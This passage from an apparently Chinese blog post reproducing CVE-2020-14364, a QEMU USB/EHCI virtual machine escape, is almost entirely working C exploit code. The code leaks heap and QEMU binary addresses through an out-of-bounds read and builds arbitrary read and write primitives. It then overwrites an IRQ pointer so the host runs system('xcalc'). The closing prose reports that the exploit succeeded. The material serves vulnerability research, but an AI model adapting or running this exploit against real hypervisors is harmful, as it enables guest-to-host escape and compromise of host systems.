*(char *)dmabuf = 'a';
*(char *)(dmabuf + 0x1000) = 'b';
*(char *)(dmabuf + 0x2000) = 'c';

entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;

// printf("phy_data_buf: 0x%lx\t phy_data_buf_oob: 0x%lx\n", virt2phys(data_buf), virt2phys(data_buf_oob));

if(virt2phys(data_buf) + 0x1000 == virt2phys(data_buf_oob))
{
printf("dmabuf: 0x%lx\n", (uint64_t)dmabuf);
printf("phy_dmabuf: 0x%lx\n", virt2phys(dmabuf));
printf("data_buf: 0x%lx\n", (uint64_t)data_buf);
printf("phy_data_buf: 0x%lx\n", virt2phys(data_buf));
printf("data_buf_oob: 0x%lx\n", (uint64_t)data_buf_oob);
printf("phy_data_buf_oob: 0x%lx\n", virt2phys(data_buf_oob));
break;
}
else
{
continue;
}
}

if(i == 0x1000)
{
die("Unable to find a contiguous physical address!");
}

printf("init Success!\n");
}

void reset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}

void set_EHCIState(){
mmio_write(0x2C, 0); // frindex
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP | USBCMD_PSE); // usbcmd
sleep(1);
}

void set_qh(){
qh->epchar = 0x00;
qh->token = QTD_TOKEN_ACTIVE;
qh->current_qtd = virt2phys(qtd);
}

void init_state(){
reset_enable_port();
set_qh();

setup_buf[6] = 0xff;
setup_buf[7] = 0x0;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);

*entry = virt2phys(qh)+0x2;

set_EHCIState();

printf("init_state Success!\n");
}

void set_length(uint16_t len,uint8_t option){

reset_enable_port();

set_qh();

setup_buf[0] = option;
setup_buf[6] = len & 0xff;
setup_buf[7] = (len >> 8 ) & 0xff;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_SETUP << QTD_TOKEN_PID_SH | 8 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(setup_buf);

set_EHCIState();

printf("set_length Success!\n");
}

void do_copy_read(){

reset_enable_port();
set_qh();

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);

set_EHCIState();

printf("do_copy_read Success!\n");
}

void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){

reset_enable_port();
set_qh();

*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);

set_EHCIState();

printf("do_copy_write Success!\n");
}

void setup_state_data()
{
set_length(0x500, USB_DIR_OUT);
}

void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);

*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);

printf("arb_write Success!\n");
}

unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;

do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);

printf("arb_read Success!\n");
}

void debug()
{
getchar();
getchar();
}

int main()
{

init();

iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);

// debug();

init_state();
set_length(0x200, USB_DIR_IN); // s->setup_state = SETUP_STATE_DATA;
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read

for(int i = 0; i < 0x20; ++i)
{
printf("data_buf[%d]: %lx\n", i, *(uint64_t *)(data_buf + i * 8));
}

printf("--------------------------------------------\n");

for(int i = 0; i < 0x20; ++i)
{
printf("data_buf_oob[%d]: %lx\n", i, *(uint64_t *)(data_buf_oob + i * 8));
}

struct USBDevice* usb_device_tmp = data_buf_oob + 0x4;
struct USBDevice usb_device;
memcpy(&usb_device, usb_device_tmp, sizeof(USBDevice));

dev_addr = usb_device.ep_ctl.dev;
data_buf_addr = dev_addr + 0xdc;
USBPort_addr = dev_addr + 0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);

uint64_t *tmp=data_buf_oob+0x4fc; // desc_device_high

long long leak_addr = *tmp;
if(leak_addr == 0){
printf("INIT DOWN,DO IT AGAIN\n");
return 0;
}
printf("[*] Raw Leaked Address: 0x%llx\n", leak_addr);


long long base = leak_addr - 0x1098150;
uint64_t system_plt = base + 0x2c15d4;

printf("leak elf_base address : 0x%llx!\n", base);
printf("leak system_plt address: 0x%llx!\n", system_plt);

unsigned long USBPort_ptr = arb_read(USBPort_addr);
unsigned long EHCIState_addr = USBPort_ptr - 0x540;
unsigned long irq_addr = EHCIState_addr + 0xc0;
unsigned long fake_irq_addr = data_buf_addr; //dev_addr + 0xdc;
unsigned long irq_ptr = arb_read(irq_addr);

printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);

// construct fake_irq
setup_state_data();
*(unsigned long *)(data_buf + 0x28) = system_plt; // handler
*(unsigned long *)(data_buf + 0x30) = dev_addr+0xdc+0x100; //opaque
*(unsigned long *)(data_buf + 0x38) = 0x3; //n
*(unsigned long *)(data_buf + 0x100) = 0x636c616378; // "xcalc; exit"
do_copy_write(0, 0xffff, 0xffff);

debug();

// write fake_irq
arb_write(irq_addr, fake_irq_addr);

// // write back irq_ptr
// arb_write(irq_addr, irq_ptr);

//printf("success233!\n");

return 0;
};

漏洞利用成功但是并未弹出计算器,qemu报错:

image-20251215155240427

这里可以看出程序执行了system函数,但是计算器执行失败,可能是由于没有图形化界面的原因,但是也说明漏洞利用成功了。我们在图形化界面再尝试一下,注意重启qemu后要重新获取qemu的基地址。

image-20251215170014159


CVE-2020-14364-Qemu逃逸漏洞复现
http://yzsandw.com/2025/12/04/CVE-2020-14364-Qemu逃逸漏洞复现/
作者
5Y2z
发布于
2025年12月4日
许可协议